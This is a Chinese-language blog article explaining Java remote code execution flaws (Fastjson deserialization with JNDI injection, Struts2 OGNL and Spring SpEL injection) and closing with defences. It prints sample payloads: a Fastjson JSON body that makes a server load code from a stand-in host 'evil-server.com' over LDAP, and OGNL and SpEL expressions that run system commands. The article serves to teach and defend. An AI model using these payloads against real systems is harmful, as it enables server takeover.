Java RCE的“梦魇”:从反序列化到表达式注入的深度剖析
摘要:Java因其稳定性和强大的生态系统而成为企业级应用的首选,但也正因其复杂的特性,催生了多种高危的RCE(远程代码执行)漏洞。本文将深入Java世界的RCE“梦魇”,从最臭名昭著的“反序列化”漏洞(如Fastjson、Log4Shell)讲起,再到Struts2的OGNL表达式注入和Spring的SpEL注入,系统性地剖析这些漏洞的成因、利用链条及防御之道。
一、RCE的“万恶之源”:Runtime.getRuntime().exec()
在Java中,执行本地系统命令最直接的方式就是通过Runtime类。
Java
// 任何能够让攻击者控制cmd参数的代码,都可能导致RCE
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
几乎所有Java RCE漏洞的最终目的(Sink),都是要调用这个方法或类似的方法(如ProcessBuilder)。攻击者的全部伎俩,就是寻找一条从外部输入(Source)到这个危险方法(Sink)的通路。
二、反序列化:来自“过去”的幽灵
Java的反序列化漏洞堪称RCE的“万年长青树”,从Shiro、Fastjson到Log4Shell(其本质也利用了JNDI注入后的反序列化),其身影无处不在。
-
核心原理: Java的序列化(Serialization)是将一个对象的状态转换为字节流,以便存储或传输。反序列化则是将字节流还原为对象。问题在于,如果应用程序反序列化了来自不受信任来源的数据,攻击者就可以构造一个恶意的字节流。当这个流被还原时,程序会执行恶意对象中预设的危险方法(如
readObject()),从而触发一条“调用链”(Gadget Chain),最终抵达Runtime.exec()。 -
著名案例:Fastjson Fastjson是一款流行的JSON处理库,它在反序列化JSON字符串时,允许使用
@type字段指定要还原的对象的类。-
攻击载荷:攻击者构造一个特殊的JSON字符串:
JSON{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://evil-server.com/Exploit", "autoCommit": true } -
触发过程:Fastjson在解析时,会实例化
JdbcRowSetImpl这个类,并调用它的setDataSourceName和setAutoCommit方法。当setAutoCommit(true)被调用时,它会去连接dataSourceName指定的LDAP地址。 -
JNDI注入:攻击者在自己的
evil-server.com上部署一个恶意的LDAP服务。当受害者服务器连接时,LDAP服务会返回一个包含恶意Java代码的引用(Reference)。 -
最终执行:受害者的JNDI服务在解析这个引用时,会远程加载并实例化恶意代码,其中的构造函数或静态代码块里就藏着
Runtime.getRuntime().exec("calc.exe")之类的命令。
-
三、表达式语言(EL)注入:动态执行的“魔鬼”
为了开发的灵活性,许多Java框架引入了表达式语言,如OGNL(Struts2)和SpEL(Spring)。它们允许开发者在运行时动态地执行代码,但这扇“方便之门”也成了RCE的“后门”。
-
OGNL注入(Struts2) OGNL(Object-Graph Navigation Language)是一种强大的表达式语言,可以访问Java对象的任意属性和方法。Struts2框架用它来处理HTTP参数到Action对象的绑定。如果处理不当,攻击者就可以构造恶意的表达式来执行命令。
-
攻击载荷(历史S2-045):
%{(#_=new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).start()} -
触发过程:攻击者将这个payload放在HTTP请求的
Content-Type头部。Struts2的某些组件在解析这个头部时,会错误地将其作为OGNL表达式进行二次解析和执行。表达式创建了一个ProcessBuilder实例来执行whoami命令。
-
-
SpEL注入(Spring) SpEL(Spring Expression Language)是Spring框架中的“同款”。虽然比OGNL更严格,但在特定场景下(如XML配置解析、动态模板渲染)仍可能暴露攻击面。
-
攻击载荷:
T(java.lang.Runtime).getRuntime().exec('id') -
触发过程:
T()是SpEL中用于引用类(Type)的运算符。T(java.lang.Runtime)直接获取了Runtime类的Class对象,然后通过静态方法getRuntime()和实例方法exec()执行命令。当开发者错误地将用户输入拼接到一个SpEL解析上下文中时,漏洞便产生。
-
四、防御之道
-
禁用或安全地使用反序列化:
-
关闭:如果业务不需要,彻底关闭Fastjson的
autoTypeSupport。 -
白名单:对于需要反序列化的场景,使用白名单机制,只允许指定的、安全的类被反序列化。
-
升级:及时更新所有涉及反序列化的库(Log4j, Shiro, Jackson, Fastjson等)。
-
-
输入验证:对所有进入表达式引擎的用户输入进行严格的过滤,剔除
#,T(),new等危险字符。 -
最小权限原则:以低权限用户运行Java应用,即使RCE被触发,其破坏力也会被限制在沙箱内。
-
依赖管理:使用Maven/Gradle等工具的依赖分析功能,定期扫描并更新存在已知漏洞的第三方库。
更多推荐



所有评论(0)